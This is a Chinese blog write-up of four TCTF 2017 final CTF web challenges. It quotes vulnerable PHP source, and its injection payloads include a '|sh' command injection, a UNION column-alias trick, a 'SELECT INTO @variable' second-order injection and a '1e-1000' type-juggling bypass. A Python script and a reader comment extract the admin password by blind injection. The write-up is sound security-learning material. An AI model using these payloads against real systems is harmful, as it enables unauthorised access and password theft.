Skip to content

TCTF 2017 FINAL WEB PARTIAL WRITEUP

Posted in 每刻,知识分享

本次比赛 WEB 部分完成了四道题目,在新人赛中获得了冠军,从全局题目完成度来看也是大概第四第五的样子,团队的力量终于凸显了出来。

这里留下 WEB 部分的 WRITEUP,鹿师傅呜呜呜。。我总算更新了。

AVATAR CENTER

这题一开始看了半天不知道啥意思,测了好久没什么头绪,感觉要猜到目录,后来通过注入发现头像的默认路径,看起来上传的头像不会在 WEB 目录了,于是扫了一下端口发现了个奇怪的端口 2121 是 ftp 的,想不到能直接匿名访问…

于是开始源码审计。

首先在登录处的注入,这个盲测也能测出来

    $username = $request->getParam('user');
    $password = $request->getParam('pass');
    if (!$username or !$password) {
        $response->write("error");
        return $response;
    }

    $this->db->table('users');
    $this->db->where("username", "=", $username);

    if ($user = $this->db->select()) {
        if ($user['password'] === md5($password))
        {
            $this->sess->set('user', $user);
            $this->profile->setdir($user['username']);
            $tz = $this->profile->getTZ();
            $this->view->render($response, 'index.tpl', array(
                'success'=> 1,
                'info' => 'Login Success',
                'username' => $username,
                "tz" => $tz
                ));
            return $response;
        }
        else
        {
            $this->view->render($response, 'login.tpl', array(
                'fail'=> 1,
                'info' => 'Password Wrong'
            ));
            return $response;
        }
    }
    else {
        $this->view->render($response, 'login.tpl', array(
            'fail'=> 1,
            'info' => 'No Such User'
        ));
        return $response;
    }
})->setName('login');

在选数据库内容的时候没调用 filter 过滤而是直接

    $this->db->table('users');
    $this->db->where("username", "=", $username);

接着 setTZ 处有一命令执行

$app->post('/setTZ', function(Request $request, Response $response) {
    $user = $this->sess->get('user');
    if ($user == Null)
        return $response->withStatus(301)->withHeader('Location', '/');

    $this->profile->setdir($user['username']);

    $tz = $request->getParam('data');
    if ($tz == Null) {
        $response->write("error");
        return $response;
    }

    if (strlen($tz) != 6) {
        $response->write("tz format error");
        return $response;       
    }

    $this->profile->setTZ($tz);
    $response->write("update tz success");
    return $response;
})->setName('setTZ');

跟到 setTZ 函数

    public function setTZ($tz) {
        exec(sprintf("echo %s > %s%s/TZ", $tz, $this->profile_savepath, $this->getdir()));
    }

则这里是限制了字符串长度的命令执行,全局命令执行过滤了一些字符但是没过滤 |, 命令执行的结果会被输出到用户文件夹下的 TZ 中。

比赛结束后知道了别人的做法是 |*/re* 我自己是用了 $this->getdir() 得到的路径和用户名有关来做的,通过注入来把$this->getdir() 得到的内容变成 xyz -c ‘readflag’ tmp/profile/melody 然后命令执行处写|sh ,这样结果就被放到 /tmp/xyz 下了。

主要是因为 escapeshellcmd 不过滤成对的引号,所以可以直接用 sh -c 执行命令

OCEAN FISH 1

这个没啥好说的,本地写一个 CI 的 demo


<?php defined('BASEPATH') OR exit('No direct script access allowed'); class Test extends CI_Controller{ public function __construct(){ parent::__construct(); $this->load->model('test_model', '', TRUE); } public function index(){ $this->test_model->test($_GET[233]); } }

而 Model 为

<?php

class Test_model extends CI_Model{

    public function __construct(){
        parent::__construct();
    }

    public function test($column_name){
        $result = $this->db->select($column_name)->from('users')->get()->result();
        var_dump($result[0]->title);
        echo $this->db->last_query();
    }
}

拿 xdebug 调试了一下,发现后面字段名后面跟上一对引号接着就完全没过滤了,一对引号内是字段的别名,根据如何取查询结果改变,因此可以 union

最终应该是这个payload

group_concat(table_name)''from information_schema.tables where table_schema=database() union select 1

然后取了表名字段名后取用户名密码即可~

UGLY WEB

该题目提供了源代码,全局所有输入都被过滤了,注意到存在一处反序列化函数,将 cookie 中的一个内容base64解码再反序列化后代入数据库查询。

注意到一个类有 toString 方法直接返回了某个成员变量,所以可以用这个来绕过过滤,在此不再多说,数据库里有第一个 flag, 第二个 flag 是 admin 的 cookie……我一开始一直以为两道题一个网址原来是两个网址,比赛结束了之后才知道,通过 csrftoken 来预测随机数从而得到一个重置密码的 token,将 admin 的密码重置后登录获得 flag

LUCKY GAME

这道题全场包括国际赛队伍在内只有我们做出来了,还是小小的自豪一下。

同样提供了源代码,只有一个文件,异常简洁

<?php session_start(); ?>
<!DOCTYPE html>
<html>
<head>
    <title>Lucky Game</title>
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Raleway:200">
    <link href="https://fonts.googleapis.com/css?family=Noto+Sans" rel="stylesheet">
    <link rel="stylesheet" href="https://unpkg.com/purecss@0.6.2/build/pure-min.css" integrity="sha384-UQiGfs9ICog+LwheBSRCt1o5cbyKIHbwjWscjemyBMT9YCUMZffs6UqUTd0hObXD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://purecss.io/combo/1.18.13?/css/main-grid.css&/css/main.css&/css/menus.css&/css/rainbow/baby-blue.css">
    <style>
    .header{font-family: 'Noto Sans', sans-serif;}
    .header h1{color: rgb(202, 60, 60);}
    .button-error {background: rgb(202, 60, 60);}
    .button-success {background: rgb(28, 184, 65);}
    </style>
</head>
<body>
<div id="layout">
<div id="menu">
    <div class="pure-menu">
        <a class="pure-menu-heading" href="#">TCTF</a>
    </div>
</div>
<div id="main">
    <div class="header">
        <h1>幸运数字</h1>
        <h2>Shall we play a "lucky" game?</h2>
    </div>
<div class="content">
<?php

require 'config.php';
if (!$link=mysqli_connect('localhost', MYSQL_USER, MYSQL_PASS)) die('Connection error');
if (!mysqli_select_db($link,'luckygame')) die('Database error');

$tbls = "SELECT group_concat(table_name SEPARATOR '|') FROM information_schema.tables WHERE table_schema=database()";
$cols = "SELECT group_concat(column_name SEPARATOR '|') FROM information_schema.columns WHERE table_schema=database()";
$query = mysqli_query($link,$tbls,MYSQLI_USE_RESULT);
$tbls_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);
$query = mysqli_query($link,$cols,MYSQLI_USE_RESULT);
$cols_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);


# CREATE TABLE users(id int NOT NULL AUTO_INCREMENT,username varchar(24),password varchar(32),points int,UNIQUE KEY(username),PRIMARY KEY(id));
# INSERT INTO users VALUES(1,"admin",md5(password_of_admin),10);
# CREATE TABLE logs(id int NOT NULL,log varchar(64));


foreach($_POST as $k => $v){
    if(!empty($v) && is_string($v))
        $_POST[$k] = trim(mysqli_escape_string($link,$v));
    else
        unset($_POST[$k]);
}

foreach($_GET as $k => $v){
    if(!empty($v) && is_string($v))
        $_GET[$k] = trim(mysqli_escape_string($link,$v));
    else
        unset($_GET[$k]);
}


function filter($s){
    global $tbls_name,$cols_name;
    $blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing
    if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>");
    return $s;
}

function register($username,$password){
    global $link;
    $q = sprintf("INSERT INTO users VALUES (NULL,'%s',md5('%s'),10)",
        filter($username),filter($password));
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    return TRUE;
}

function login($username,$password){
    global $link;
    $q = sprintf("SELECT * FROM users WHERE username = '%s' AND password = md5('%s')",
        filter($username),filter($password));
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    $result = mysqli_fetch_array($query);
    mysqli_free_result($query);
    if(count($result)>0){
        $_SESSION['id'] = $result['id'];
        $_SESSION['user'] = $result['username'];
        return TRUE;
    } else {
        unset($_SESSION['id'],$_SESSION['user']);
        return FALSE;
    }
}

function user_log($s){
    global $link;
    $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
        filter($_SESSION['id'].'|'.$s));
    if(!$query = mysqli_query($link,$q)) return FALSE;
    return TRUE;
}

function update_point($p){
    global $link;
    $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
        $p,$_SESSION['id']);
    if(!$query = mysqli_query($link,$q)) return FALSE;
    if(!user_log("Update ".$p)) return FALSE;
    return TRUE;
}

function my_point(){
    global $link;
    $q = sprintf("SELECT * FROM users WHERE username = '%s'",
        filter($_SESSION['user']));
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    $result = mysqli_fetch_array($query);
    mysqli_free_result($query);
    return (int)($result['points']);
}

switch(@$_GET['action']){
    case 'register':
        if(!empty($_POST['user']) && !empty($_POST['pass']))
            if(!register($_POST['user'],$_POST['pass']))
                die("<aside>Something went wrong!</aside>");
        break;
    case 'login':
        if(!empty($_POST['user']) && !empty($_POST['pass']))
            login($_POST['user'],$_POST['pass']);
        break;
    case 'logout':
        unset($_SESSION['user'],$_SESSION['id']);
        break;
    default:
        break;
}

if(empty($_SESSION['user'])){
    echo <<<EOF
        <form action="?action=register" method=POST class="pure-form pure-form-stacked">
            <fieldset>
                <input type=text name=user required placeholder="Username" />
                <input type=password name=pass required placeholder="Password" />
                <button type="submit" class="pure-button pure-button-primary">Register</button>
            </fieldset>
        </form>

        <form action="?action=login" method=POST class="pure-form pure-form-stacked">
            <fieldset>
                <input type=text name=user required placeholder="Username"  />
                <input type=password name=pass required placeholder="Password" />
                <button type="submit" class="pure-button pure-button-primary button-success">Login</button>
            </fieldset>
        </form>
EOF;
    die();
}

$points = my_point();

if($points == 1337){
    user_log('winner');
    echo "<h3>Well played, we will give you a reward soon.</h3>";
}

echo <<<EOF
    <h1>Hello <a href='?action=logout'>{$_SESSION['user']}</a></h1>
    <h2>You got {$points} points</h2>
    <form method=GET class="grid-panel pure-form-aligned pure-form">
                    <div class="bet-control pure-control-group">
                        <label for="bet-input">
                            Your bet
                        </label>
                        <input name="bet" id="bet-input" data-content="bet-input"
                               type="number" min="0" max="16" value=1>

                    </div>

                    <div class="guess-control pure-control-group">
                        <label for="guess-input">
                            Your guess
                        </label>
                        <input name="guess" id="guess-input" data-content='guess-input'
                               type="number" min="0" value=1>
                    </div>
        <button type="submit" class="pure-button pure-button-primary button-error">Place</button>
    </form>

EOF;

if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
    echo "<aside>";
    if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
    $number = rand()%8;
    echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";
    if( $number == $_REQUEST['guess'] ){
        echo "You won!";
        if(!update_point($_REQUEST['bet']))
            return;
    } else {
        echo "You lost :(";
        if(!update_point(-$_REQUEST['bet']))
            return;
    }
    echo "</aside>";
}

mysqli_close($link);
?>

</div>
</div>
</div>
</body>
</html>

注意到 my_point() 函数把 \$_SESSION 里的东西直接带入到了数据库查询中,虽然在注册的时候有过滤也代表了这里有二次注入的危险。

update_point() 这里有同样的问题。

但是问题来了,在注入语句里不能出现任何的已存在的表名和字段名…flag 是 admin 的密码,如何做到呢?

在过去出现类似的限制时都是通过 join 之类的 trick 做到的,但是没有哪次有这次限制的这么死,我去看了下 MySQL 的参考手册,想到了一个获得 admin 密码的方法。

注意看 my_point 函数

function my_point(){
    global $link;
    $q = sprintf("SELECT * FROM users WHERE username = '%s'",
        filter($_SESSION['user']));
    if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
    $result = mysqli_fetch_array($query);
    mysqli_free_result($query);
    return (int)($result['points']);
}

其中获取分数用的语句是

SELECT * FROM users WHERE username = '%s'

这说明 username 和 password 也是在结果集内的,如何获取呢?

MySQL 关于 SELECT 语法中有一个 into 的说明,以前以为只能 into outfile 或者 dumpfile,再看了次手册才发现还可以 into variable,就是限制条件为结果集中只能有一行。

那么我们注册一个 admin’into @a,@b,@c,@d# 是不是就能将 admin 的密码存储到 @c 变量中了呢?答案是肯定的。

而且这个payload 和用户名的长度限制极其接近。。让我几乎肯定了自己的想法,接下来就是如何使用这个变量的问题,因为@开头的变量是临时的变量,只有@@开头的变量才是系统变量,临时变量是不会在下一次连接中存活的,而系统变量不能在 into 语法内设置…所以唯一的思路就是在取得了这个变量值后在下一个流程中存在的注入内获得这个变量值,这个题目恰好两个注入,另一个注入存在于 update_point 中,update_point 将 REQUEST[‘bet’] 代入了 user_log 中,全局过滤没有过滤 REQUEST 数组,所以思路可行,我们可以通过构造 UPDATE 语句来选择性的让 user_log 返回 TRUE 或者 FALSE,如果返回了 FALSE 则 html 输出的最后一部分就不会输出了,因为 php 程序直接 return 了,而如果返回了 TRUE 则程序流程正常执行。

但是另一个难点又来了。。

if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
    echo "<aside>";
    if($_REQUEST['bet'] > $points) die("What?! you're cheater!");

因为用户名中用了 into 语法,导致结果不回显, points 变量永远是 0 ,也就要让

(int)$_REQUEST['bet'] > 0 

if($_REQUEST['bet'] > $points) die("What?! you're cheater!");

这两个检查要同时通过

考虑到上一个检查有强制类型转换,加上提示也说了是有 PHP 的问题的,试了半天无果,最后 Kira 去看了 PHP 7 的源代码,发现在科学计数法字符串转换为数字时,如果 E 后面的数小于某个值会弄成 double 类型,再强制转换为 int 类型时可能会有奇妙的结果,测试发现 bet 为 1e-1000 时已经可以触发这个 bug 绕过两个检查, 使得 bet 既大于 0 又不大于 0。至此思路全部通顺了。

下面附上注入的脚本

# -*- coding: utf-8 -*-
import hashlib
from string import ascii_letters, digits
import requests
import re

url = 'http://192.168.201.3/'
header = {'cookie': 'PHPSESSID=ca0274qg9k80ttdaotftnpg7u7'}
flag = ''
exit_flag = False
for i in range(1, 33):
    for j in ascii_letters + digits:
        payload = "1e-1000' in (concat('123',1/(substr(@c,%d,1)='%s'))))#" % (i, j)
        while True:
            res = requests.post(url, data={'guess':'1', 'bet':payload}, headers=header).text
            # print res
            # raw_input()
            if ('won' in res) and ('</aside>' in res):
                exit_flag = True
                print i
                flag += j
                print flag
                break;
            elif ('won' in res):
                break
            else:
                continue
        if exit_flag:
            exit_flag = False
            break;

至于为啥我还用了那么复杂的语法主要是因为 MySQL 5.7 对类型的要求非常严格,导致我不能直接通过位运算来构造除 0 报错。只好通过类型容忍度比较高的 concat 函数来构造除 0 报错。

5 Comments

  1. Headwind
    Headwind

    沙发,膜拜大佬。。。说起来AVATAR CENTER我纯粹是捡漏得到flag的233333

    2017年6月6日
    |Reply
    • Melody
      Melody

      233333我一开始在刷新目录打算捡漏。。

      2017年6月6日
      |Reply
  2. 复盘的时候讲了可以用向表内插入的数据类型的不同来报错:
    ?guess=1&bet=1e-1111′),(if(hex(substr(@C,{pos},1))='{char}’,2,’a’),”),(-1,’233

    2017年6月7日
    |Reply

Leave a Reply

Your email address will not be published. Required fields are marked *